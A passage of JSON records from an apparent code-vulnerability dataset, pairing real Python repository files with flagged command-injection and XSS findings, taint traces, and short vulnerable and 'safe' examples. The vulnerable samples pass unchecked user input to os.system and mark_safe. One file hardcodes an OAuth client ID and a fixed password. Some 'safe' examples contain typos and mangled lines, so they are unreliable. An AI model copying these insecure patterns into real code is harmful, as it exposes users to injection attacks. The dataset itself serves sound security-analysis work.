sed 's|.*/||'\".format(\n datalab_sbn, datalab_zone), capture_output=True, shell=True, check=True).stdout.decode('UTF-8').rstrip(\"\\n\\r\")\n gcp_projectId = requests.get('http://metadata/computeMetadata/v1/project/project-id', headers=headers).text\n keycloak_redirectUri = 'http://{}'.format(server_external_ip)\n\n print(\"Generationg SSH keyfile for datalab-user\")\n key = RSA.generate(2048)\n subprocess.run(\"sudo sh -c 'echo \\\"{}\\\" > /home/datalab-user/keys/KEY-FILE.pem'\".format(key.exportKey('PEM')), shell=True, check=True)\n subprocess.run(\"sudo chmod 600 /home/datalab-user/keys/KEY-FILE.pem\", shell=True, check=True)\n pubkey = key.publickey()\n subprocess.run(\"sudo sh -c 'echo \\\"{}\\\" > /home/datalab-user/.ssh/authorized_keys'\".format(pubkey.exportKey('OpenSSH')), shell=True, check=True)\n\n print(\"Generationg MongoDB password\")\n mongo_pwd = uuid.uuid4().hex\n try:\n subprocess.run(\n \"sudo echo -e 'db.changeUserPassword(\\\"admin\\\", \\\"{}\\\")' | mongo datalabdb --port 27017 -u admin -p MONGO_PASSWORD\".format(\n mongo_pwd), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|MONGO_PASSWORD|{}|g\" /opt/datalab/conf/billing.yml'.format(mongo_pwd), shell=True, check=True)\n\n subprocess.run('sudo sed -i \"s|MONGO_PASSWORD|{}|g\" /opt/datalab/conf/ssn.yml'.format(mongo_pwd), shell=True, check=True)\n except:\n print('Mongo password was already changed')\n\n print('Reserving external IP')\n static_address_exist = subprocess.run(\n \"sudo gcloud compute addresses list --filter='address={}'\".format(server_external_ip), capture_output=True, shell=True, check=True).stdout.decode('UTF-8').rstrip(\"\\n\\r\")\n if static_address_exist:\n print('Address is already static')\n else:\n subprocess.run(\"sudo gcloud compute addresses create {0} --addresses {1} --region {2}\".format(datalab_ssn_static_ip_name,\n server_external_ip,\n datalab_region),\n capture_output=True, shell=True, check=True)\n\n print(\"Overwriting SSN parameters\")\n\n if deployment_subnetId == 'default':\n subprocess.run(\n 'sudo sed -i \"s|# user_subnets_range|user_subnets_range|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini', shell=True, check=True)\n\n subprocess.run('sudo sed -i \"s|DATALAB_SBN|{}|g\" /opt/datalab/conf/self-service.yml'.format(datalab_sbn), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_REDIRECTURI|{}|g\" /opt/datalab/conf/self-service.yml'.format(keycloak_redirectUri), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|KEYCLOAK_REALM_NAME|{}|g\" /opt/datalab/conf/self-service.yml'.format(args.keycloak_realm_name), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_AUTH_SERVER_URL|{}|g\" /opt/datalab/conf/self-service.yml'.format(\n args.keycloak_auth_server_url), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_CLIENT_NAME|{}|g\" /opt/datalab/conf/self-service.yml'.format(\n args.keycloak_client_name), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_CLIENT_SECRET|{}|g\" /opt/datalab/conf/self-service.yml'.format(\n args.keycloak_client_secret), shell=True, check=True)\n\n subprocess.run(\n 'sudo sed -i \"s|KEYCLOAK_REALM_NAME|{}|g\" /opt/datalab/conf/provisioning.yml'.format(args.keycloak_realm_name), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_AUTH_SERVER_URL|{}|g\" /opt/datalab/conf/provisioning.yml'.format(\n args.keycloak_auth_server_url), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_CLIENT_NAME|{}|g\" /opt/datalab/conf/provisioning.yml'.format(\n args.keycloak_client_name), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_CLIENT_SECRET|{}|g\" /opt/datalab/conf/provisioning.yml'.format(\n args.keycloak_client_secret), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|DATALAB_SBN|{}|g\" /opt/datalab/conf/provisioning.yml'.format(datalab_sbn), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|SUBNET_ID|{}|g\" /opt/datalab/conf/provisioning.yml'.format(deployment_subnetId), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|DATALAB_REGION|{}|g\" /opt/datalab/conf/provisioning.yml'.format(datalab_region), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|DATALAB_ZONE|{}|g\" /opt/datalab/conf/provisioning.yml'.format(datalab_zone), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|SSN_VPC_ID|{}|g\" /opt/datalab/conf/provisioning.yml'.format(deployment_vpcId), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|GCP_PROJECT_ID|{}|g\" /opt/datalab/conf/provisioning.yml'.format(gcp_projectId), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_USER|{}|g\" /opt/datalab/conf/provisioning.yml'.format(args.keycloak_user), shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYCLOAK_ADMIN_PASSWORD|{}|g\" /opt/datalab/conf/provisioning.yml'.format(\n args.keycloak_admin_password), shell=True, check=True)\n\n subprocess.run('sudo sed -i \"s|DATALAB_SBN|{}|g\" /opt/datalab/conf/billing.yml'.format(datalab_sbn), shell=True, check=True)\n\n subprocess.run(\n 'sudo sed -i \"s|DATALAB_SBN|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n datalab_sbn), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|GCP_PROJECT_ID|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n gcp_projectId), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|DATALAB_REGION|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n datalab_region), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|DATALAB_ZONE|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n datalab_zone), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|KEYCLOAK_REALM_NAME|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n args.keycloak_realm_name), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|KEYCLOAK_AUTH_SERVER_URL|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n args.keycloak_auth_server_url), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|KEYCLOAK_CLIENT_NAME|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n args.keycloak_client_name), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|KEYCLOAK_CLIENT_SECRET|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n args.keycloak_client_secret), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|KEYCLOAK_USER|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n args.keycloak_user), shell=True, check=True)\n subprocess.run(\n 'sudo sed -i \"s|KEYCLOAK_ADMIN_PASSWORD|{}|g\" /opt/datalab/sources/infrastructure-provisioning/src/general/conf/overwrite.ini'.format(\n args.keycloak_admin_password), shell=True, check=True)\n\n print('SSL certificate generating')\n keystore_passwd = uuid.uuid4().hex\n subprocess.run('sudo rm /home/datalab-user/keys/ssn*', shell=True, check=True)\n subprocess.run('sudo rm /etc/ssl/certs/datalab*', shell=True, check=True)\n subprocess.run('sudo keytool -delete -noprompt -trustcacerts -alias ssn -storepass changeit -keystore '\n '/usr/lib/jvm/java-8-openjdk-amd64/jre/lib/security/cacerts', shell=True, check=True)\n subprocess.run(\n 'sudo openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout /etc/ssl/certs/datalab.key -out '\n '/etc/ssl/certs/datalab.crt -subj \"/C=US/ST=US/L=US/O=datalab/CN=localhost/subjectAltName={0}\"'.format(\n server_external_ip), shell=True, check=True)\n subprocess.run(\n 'sudo openssl pkcs12 -export -in /etc/ssl/certs/datalab.crt -inkey /etc/ssl/certs/datalab.key -name ssn -out '\n '/home/datalab-user/keys/ssn.p12 -password pass:{0}'.format(keystore_passwd), shell=True, check=True)\n subprocess.run(\n 'sudo keytool -importkeystore -srckeystore /home/datalab-user/keys/ssn.p12 -srcstoretype PKCS12 -alias '\n 'ssn -destkeystore /home/datalab-user/keys/ssn.keystore.jks -deststorepass {0} -srcstorepass {0}'.format(\n keystore_passwd), shell=True, check=True)\n subprocess.run(\n 'sudo keytool -importcert -trustcacerts -alias ssn -file /etc/ssl/certs/datalab.crt -noprompt -storepass '\n ' -keystore /usr/lib/jvm/java-8-openjdk-amd64/jre/lib/security/cacerts', shell=True, check=True)\n subprocess.run('sudo sed -i \"s|KEYSTORE_PASSWORD|{}|g\" /opt/datalab/conf/ssn.yml'.format(keystore_passwd), shell=True, check=True)\n\n print('Nginx configuration updating')\n subprocess.run('sudo sed -i \"s|SERVER_IP|{}|g\" /etc/nginx/conf.d/nginx_proxy.conf'.format(server_external_ip), shell=True, check=True)\n subprocess.run('sudo systemctl restart nginx', shell=True, check=True)\n subprocess.run('sudo supervisorctl restart all', shell=True, check=True)\n\n print('Rebuilding docker images')\n subprocess.run('cd /opt/datalab/sources/infrastructure-provisioning/src/ && sudo docker-build all', shell=True, check=True)\n\n print('[SUMMARY]')\n print('Mongo password stored in /opt/datalab/conf/ssn.yml')\n print('SSH key for datalab-user stored in /home/datalab-user/keys/KEY-FILE.pem')", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "32"}}, {"lineNo": 54, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "84f054e9ff50c51b3fc0b82297a5434e230ecdcef48237abb1c1a56ac9c12ef9", "license": {"spdx": ["MIT", "BSD-3-Clause"], "repo": "ContactEngineering/TopoBank", "path": "topobank/publication/models.py", "repo_head_hexsha": "12710c24cc158801db20f030c3e0638060e24a0e", "stack_hexsha": "e6ea376dac46236ea3d4ce92ad3215d1dbffb660", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 60, "entireCode": "from django.db import models\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.utils.safestring import mark_safe\nfrom django.conf import settings\n\nMAX_LEN_AUTHORS_FIELD = 512\n\nCITATION_FORMAT_FLAVORS = ['html', 'ris', 'bibtex', 'biblatex']\nDEFAULT_KEYWORDS = ['surface', 'topography']\n\n\nclass UnknownCitationFormat(Exception):\n def __init__(self, flavor):\n self._flavor = flavor\n\n def __str__(self):\n return f\"Unknown citation format flavor '{self._flavor}'.\"\n\n\nclass Publication(models.Model):\n\n LICENSE_CHOICES = [(k, settings.CC_LICENSE_INFOS[k]['option_name'])\n for k in ['cc0-1.0', 'ccby-4.0', 'ccbysa-4.0']]\n\n short_url = models.CharField(max_length=10, unique=True, null=True)\n surface = models.OneToOneField(\"manager.Surface\", on_delete=models.PROTECT, related_name='publication')\n original_surface = models.ForeignKey(\"manager.Surface\", on_delete=models.SET_NULL,\n null=True, related_name='derived_publications')\n publisher = models.ForeignKey(\"users.User\", on_delete=models.PROTECT)\n publisher_orcid_id = models.CharField(max_length=19, default='') # 16 digits including 3 dashes\n version = models.PositiveIntegerField(default=1)\n datetime = models.DateTimeField(auto_now_add=True)\n license = models.CharField(max_length=12, choices=LICENSE_CHOICES, blank=False, default='')\n authors = models.CharField(max_length=MAX_LEN_AUTHORS_FIELD)\n container = models.FileField(max_length=50, default='')\n\n def get_absolute_url(self):\n return reverse('publication:go', args=[self.short_url])\n\n def get_full_url(self, request):\n return request.build_absolute_uri(self.get_absolute_url())\n\n def get_citation(self, flavor, request):\n if flavor not in CITATION_FORMAT_FLAVORS:\n raise UnknownCitationFormat(flavor)\n method_name = '_get_citation_as_'+flavor\n return getattr(self, method_name)(request)\n\n def _get_citation_as_html(self, request):\n s = '{authors}. ({year}). contact.engineering. {surface.name} (Version {version}).'\n s += ' {publication_url}'\n s = s.format(\n authors=self.authors,\n year=self.datetime.year,\n version=self.version,\n surface=self.surface,\n publication_url=self.get_full_url(request),\n )\n return mark_safe(s)\n\n def _get_citation_as_ris(self, request):\n # see http://refdb.sourceforge.net/manual-0.9.6/sect1-ris-format.html\n # or https://en.wikipedia.org/wiki/RIS_(file_format)\n # or https://web.archive.org/web/20120526103719/http://refman.com/support/risformat_intro.asp\n # https://web.archive.org/web/20120717122530/http://refman.com/support/direct%20export.zip\n s = \"\"\n\n def add(key, value):\n nonlocal s\n s += f\"{key} - {value}\\n\"\n\n # Electronic citation / Website\n add('TY', 'ELEC')\n # Title\n add('TI', f\"{self.surface.name} (Version {self.version})\")\n # Authors\n for author in self.authors.split(','):\n add('AU', author.strip())\n # Publication Year\n add('PY', format(self.datetime, '%Y/%m/%d/'))\n # URL\n add('UR', self.get_full_url(request))\n # Name of Database\n add('DB', 'contact.engineering')\n\n # Notes\n add('N1', self.surface.description)\n\n # add keywords, defaults ones and tags\n for kw in DEFAULT_KEYWORDS:\n add('KW', kw)\n for t in self.surface.tags.all():\n add('KW', t.name)\n\n # End of record, must be empty and last tag\n add('ER', '')\n\n return s.strip()\n\n def _get_citation_as_bibtex(self, request):\n\n title = f\"{self.surface.name} (Version {self.version})\"\n shortname = f\"{self.surface.name}_v{self.version}\".lower().replace(' ','_')\n keywords = \",\".join(DEFAULT_KEYWORDS)\n if self.surface.tags.count()>0:\n keywords += \",\"+\",\".join(t.name for t in self.surface.tags.all())\n\n s = \"\"\"\n @misc{{\n {shortname},\n title = {{{title}}},\n author = {{{author}}},\n year = {{{year}}},\n note = {{{note}}},\n keywords = {{{keywords}}},\n howpublished = {{{publication_url}}},\n }}\n \"\"\".format(title=title,\n author=self.authors.replace(', ', ' and '),\n year=self.datetime.year,\n note=self.surface.description,\n publication_url=self.get_full_url(request),\n keywords=keywords,\n shortname=shortname,\n )\n\n return s.strip()\n\n def _get_citation_as_biblatex(self, request):\n\n shortname = f\"{self.surface.name}_v{self.version}\".lower().replace(' ','_')\n keywords = \",\".join(DEFAULT_KEYWORDS)\n if self.surface.tags.count()>0:\n keywords += \",\"+\",\".join(t.name for t in self.surface.tags.all())\n\n s = \"\"\"\n @online{{\n {shortname},\n title = {{{title}}},\n version = {{{version}}},\n author = {{{author}}},\n year = {{{year}}},\n month = {{{month}}},\n date = {{{date}}},\n note = {{{note}}},\n keywords = {{{keywords}}},\n url = {{{url}}},\n urldate = {{{urldate}}}\n }}\n \"\"\".format(title=self.surface.name,\n version=self.version,\n author=self.authors.replace(', ', ' and '),\n year=self.datetime.year,\n month=self.datetime.month,\n date=format(self.datetime, \"%Y-%m-%d\"),\n note=self.surface.description,\n url=self.get_full_url(request),\n urldate=format(timezone.now(), \"%Y-%m-%d\"),\n keywords=keywords,\n shortname=shortname,\n )\n\n return s.strip()\n\n @property\n def storage_prefix(self):\n \"\"\"Return prefix used for storage.\nhttps://docs.djangoproject.com/en/2.2/ref/models/fields/#django.db.models.FileField.upload_to\n Looks like a relative path to a directory.\n If storage is on filesystem, the prefix should correspond\n to a real directory.\n \"\"\"\n return \"publications/{}/\".format(self.short_url)\n\n @property\n def container_storage_path(self):\n \"\"\"Return relative path of container in storage.\"\"\"\n return f\"{self.storage_prefix}container.zip\"\n", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get_full_url"}}, {"lineNo": 60, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "mark_safe"}}]}}
{"id": "9f9116734d7f181e341b9d6462315cef8b4cb7cfb4867df5e4f28b4105f366fe", "license": {"spdx": ["MIT"], "repo": "bluebibi/flask_rest", "path": "views/auth.py", "repo_head_hexsha": "9b1ee876060bca5d97459bb894c73530f66c4c15", "stack_hexsha": "db3b69e3c4b3003f7bdcfee2a7ee4c426c44a37d", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 31, "entireCode": "from flask import Blueprint, redirect, render_template, request, flash, session\n\nfrom database import base\nfrom database.base import User\nfrom forms import UserForm, LoginForm, MyPageUserForm\nfrom flask_login import login_required, login_user, logout_user, current_user\nimport requests\n\nauth_blueprint = Blueprint('auth', __name__)\n\nkakao_oauth = {}\n\n@auth_blueprint.route('/my_page', methods=['GET', 'POST'])\n@login_required\ndef _user():\n form = MyPageUserForm()\n\n q = base.db_session.query(User).filter(User.email == current_user.email)\n user = q.first()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n user.email = request.form['email']\n user.name = request.form['name']\n user.set_password(request.form['password'])\n user.affiliation = request.form['affiliation']\n base.db_session.commit()\n flash('귀하의 회원정보가 수정 되었습니다.')\n return redirect('/auth/my_page')\n\n return render_template(\"my_page.html\", user=user, form=form, kakao_oauth=kakao_oauth)\n\n\ndef login_process(email, password):\n q = base.db_session.query(User).filter(User.email == email)\n user = q.first()\n\n if user:\n if user.authenticate(password):\n login_result = login_user(user)\n if login_result:\n print(\"사용자(사용자 이메일:{0})의 로그인 성공!\".format(current_user.email))\n return '/'\n else:\n flash('비밀번호를 다시 확인하여 입력해주세요.')\n return '/auth/login'\n else:\n flash('이메일 및 비밀번호를 다시 확인하여 입력해주세요.')\n return '/auth/login'\n\n\n@auth_blueprint.route('/login', methods=['GET', 'POST'])\ndef login():\n if current_user.is_authenticated:\n return redirect('/')\n\n form = LoginForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n redirect_url = login_process(form.data['email'], form.data['password'])\n return redirect(redirect_url)\n\n return render_template('login.html', form=form, current_user=current_user)\n\n\n@auth_blueprint.route('kakao_oauth_redirect')\ndef kakao_oauth_redirect():\n code = str(request.args.get('code'))\n url = \"https://kauth.kakao.com/oauth/token\"\n data = \"grant_type=authorization_code\" \\\n \"&client_id=0eb67d9cd0372c01d3915bbd934b4f6d\" \\\n \"&redirect_uri=http://localhost:8080/auth/kakao_oauth_redirect\" \\\n \"&code={0}\".format(code)\n headers = {\n \"Content-Type\": \"application/x-www-form-urlencoded;charset=utf-8\",\n \"Cache-Control\": \"no-cache\"\n }\n response = requests.post(\n url=url,\n data=data,\n headers=headers\n )\n\n #print(\"kakao_oauth_redirect\", response.json())\n\n kakao_oauth[\"access_token\"] = response.json()[\"access_token\"]\n kakao_oauth[\"expires_in\"] = response.json()[\"expires_in\"]\n kakao_oauth[\"refresh_token\"] = response.json()[\"refresh_token\"]\n kakao_oauth[\"refresh_token_expires_in\"] = response.json()[\"refresh_token_expires_in\"]\n kakao_oauth[\"scope\"] = response.json()[\"scope\"]\n kakao_oauth[\"token_type\"] = response.json()[\"token_type\"]\n\n if \"kaccount_email\" not in kakao_oauth or kakao_oauth['kaccount_email'] is None:\n kakao_me_and_signup()\n\n redirect_url = login_process(kakao_oauth[\"kaccount_email\"], \"1234\")\n return redirect(redirect_url)\n\n\ndef kakao_me_and_signup():\n url = \"https://kapi.kakao.com/v1/user/me\"\n headers = {\n \"Authorization\": \"Bearer {0}\".format(kakao_oauth[\"access_token\"]),\n \"Content-Type\": \"application/x-www-form-urlencoded;charset=utf-8\"\n }\n\n response = requests.post(\n url=url,\n headers=headers\n )\n\n #print(\"kakao_me_and_signup\", response.json())\n\n kakao_oauth[\"kaccount_email\"] = response.json()[\"kaccount_email\"]\n kakao_oauth[\"id\"] = response.json()[\"id\"]\n kakao_oauth[\"kakao_profile_image\"] = response.json()[\"properties\"][\"profile_image\"]\n kakao_oauth[\"nickname\"] = response.json()[\"properties\"][\"nickname\"]\n kakao_oauth[\"kakao_thumbnail_image\"] = response.json()[\"properties\"][\"thumbnail_image\"]\n\n c = base.db_session.query(User).filter(User.email == kakao_oauth[\"kaccount_email\"]).count()\n if c == 0:\n user = User(name=kakao_oauth[\"nickname\"], email=kakao_oauth[\"kaccount_email\"], affiliation=None)\n user.set_password(\"\")\n base.db_session.add(user)\n base.db_session.commit()\n\n\ndef kakao_logout():\n url = \"https://kapi.kakao.com/v1/user/logout\"\n headers = {\n \"Authorization\": \"Bearer {0}\".format(kakao_oauth[\"access_token\"])\n }\n response = requests.post(\n url=url,\n headers=headers\n )\n\n if response.status_code == 200:\n kakao_oauth[\"kaccount_email\"] = None\n kakao_oauth[\"id\"] = None\n kakao_oauth[\"kakao_profile_image\"] = None\n kakao_oauth[\"nickname\"] = None\n kakao_oauth[\"kakao_thumbnail_image\"] = None\n\n\n@auth_blueprint.route(\"/logout\")\n@login_required\ndef logout():\n logout_user()\n if kakao_oauth and \"kaccount_email\" in kakao_oauth:\n kakao_logout()\n\n return redirect('/')\n\n\n@auth_blueprint.route('/signup', methods=['GET', 'POST'])\ndef signup():\n form = UserForm()\n\n if request.method == 'POST':\n if form.validate_on_submit():\n new_user = User()\n new_user.email = request.form['email']\n new_user.name = request.form['name']\n new_user.set_password(request.form['password'])\n new_user.affiliation = request.form['affiliation']\n\n base.db_session.add(new_user)\n base.db_session.commit()\n flash('귀하는 회원가입이 성공적으로 완료되었습니다. 가입하신 정보로 로그인을 다시 하시기 바랍니다.')\n return redirect('/auth/login')\n\n return render_template(\"signup.html\", form=form)", "dangerousExampleEn": "1. from django.shortcuts import render\n2. from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = request.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \tobject_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: The XSS escape of Django is not enabled on the mark_safe function, which can lead to a cross-site script attack.", "safeExampleEn": "1. from django.shortcuts import render\n2. # from django.utils.safestring import mark_safe\n3. \n4. def profile_link(request):\n5. \tprofile_url = request.POST.get('profile_url')\n6. \tprofile_name = requst.POST.get('profile_name')\n7. \n8. object_link = '{}'.format(profile_url, profile_name)\n9. \t# object_link = mark_safe(object_link)\n10. \n11. return render(request, 'my_profile.html',{'object_link':object_link})\nLine 9: Don't use the mark_safe function.", "contexts": [{"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 31, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "render_template"}}]}}
{"id": "83def34afb7dee77075efee77b5a6f3fe5c0428802164e13a1cc20c06ed0685d", "license": {"spdx": ["MIT"], "repo": "cds-snc/notification-admin", "path": "app/main/views/templates.py", "repo_head_hexsha": "d4056798bf889ad29893667bbb67ead2f8e466e4", "stack_hexsha": "f41b63806a18c6ea9b6ee2484bb3111d3bc16034", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-Site Scripting (XSS)", "issueDescriptionEn": "Cross-site scripting (XSS) is an attack method that injects malicious code into websites.\nThis attack typically targets application users, and may cause damage by the users to run a malicious code automatically.\nWhen using Django or Flask, the framework itself creates a response page by replacing characters that may be used in an attack with HTML entities to prevent malicious scripts from being injected into external inputs. This protects Django and Flask from XSS.\nHowever, even if the framework provides a function to protect against XSS attacks, please note that the protection may not be completely secure or invalidated by developer mistakes.\nIf any data is used to create dynamic web pages in Flask without using options such as Django's `mark_safe()`, convert the data using escape.", "issueLineNumber": 426, "entireCode": "from datetime import datetime, timedelta\nfrom string import ascii_uppercase\n\nfrom dateutil.parser import parse\nfrom flask import abort, flash, jsonify, redirect, render_template, request, url_for\nfrom flask_babel import _\nfrom flask_babel import lazy_gettext as _l\nfrom flask_login import current_user\nfrom markupsafe import Markup\nfrom notifications_python_client.errors import HTTPError\nfrom notifications_utils.formatters import nl2br\nfrom notifications_utils.recipients import first_column_headings\n\nfrom app import (\n current_service,\n service_api_client,\n template_api_prefill_client,\n template_folder_api_client,\n template_statistics_client,\n)\nfrom app.main import main\nfrom app.main.forms import (\n CreateTemplateForm,\n EmailTemplateForm,\n LetterTemplateForm,\n LetterTemplatePostageForm,\n SearchByNameForm,\n SetTemplateSenderForm,\n SMSTemplateForm,\n TemplateAndFoldersSelectionForm,\n TemplateFolderForm,\n)\nfrom app.main.views.send import get_example_csv_rows, get_sender_details\nfrom app.models.service import Service\nfrom app.models.template_list import TemplateList, TemplateLists\nfrom app.template_previews import TemplatePreview, get_page_count_for_letter\nfrom app.utils import (\n email_or_sms_not_enabled,\n get_template,\n should_skip_template_page,\n user_has_permissions,\n user_is_platform_admin,\n)\n\nform_objects = {\n \"email\": EmailTemplateForm,\n \"sms\": SMSTemplateForm,\n \"letter\": LetterTemplateForm,\n}\n\n\ndef get_email_preview_template(template, template_id, service_id):\n email_preview_template = get_template(\n template,\n current_service,\n letter_preview_url=url_for(\n \".view_letter_template_preview\",\n service_id=service_id,\n template_id=template_id,\n filetype=\"png\",\n ),\n show_recipient=True,\n page_count=get_page_count_for_letter(template),\n )\n\n return email_preview_template\n\n\n@main.route(\"/services//templates/\")\n@user_has_permissions()\ndef view_template(service_id, template_id):\n template = current_service.get_template(template_id)\n template_folder = current_service.get_template_folder(template[\"folder\"])\n\n user_has_template_permission = current_user.has_template_folder_permission(template_folder)\n\n if should_skip_template_page(template[\"template_type\"]):\n return redirect(url_for(\".send_one_off\", service_id=service_id, template_id=template_id))\n\n return render_template(\n \"views/templates/template.html\",\n template=get_email_preview_template(template, template_id, service_id),\n template_postage=template[\"postage\"],\n user_has_template_permission=user_has_template_permission,\n )\n\n\n@main.route(\"/services//start-tour/\")\n@user_has_permissions(\"view_activity\")\ndef start_tour(service_id, template_id):\n\n template = current_service.get_template(template_id)\n\n if template[\"template_type\"] != \"email\":\n abort(404)\n\n return render_template(\n \"views/templates/start-tour.html\",\n template=get_template(\n template,\n current_service,\n show_recipient=True,\n ),\n help=\"1\",\n )\n\n\n@main.route(\"/services//templates\", methods=[\"GET\", \"POST\"])\n@main.route(\n \"/services//templates/folders/\",\n methods=[\"GET\", \"POST\"],\n)\n@main.route(\"/services//templates/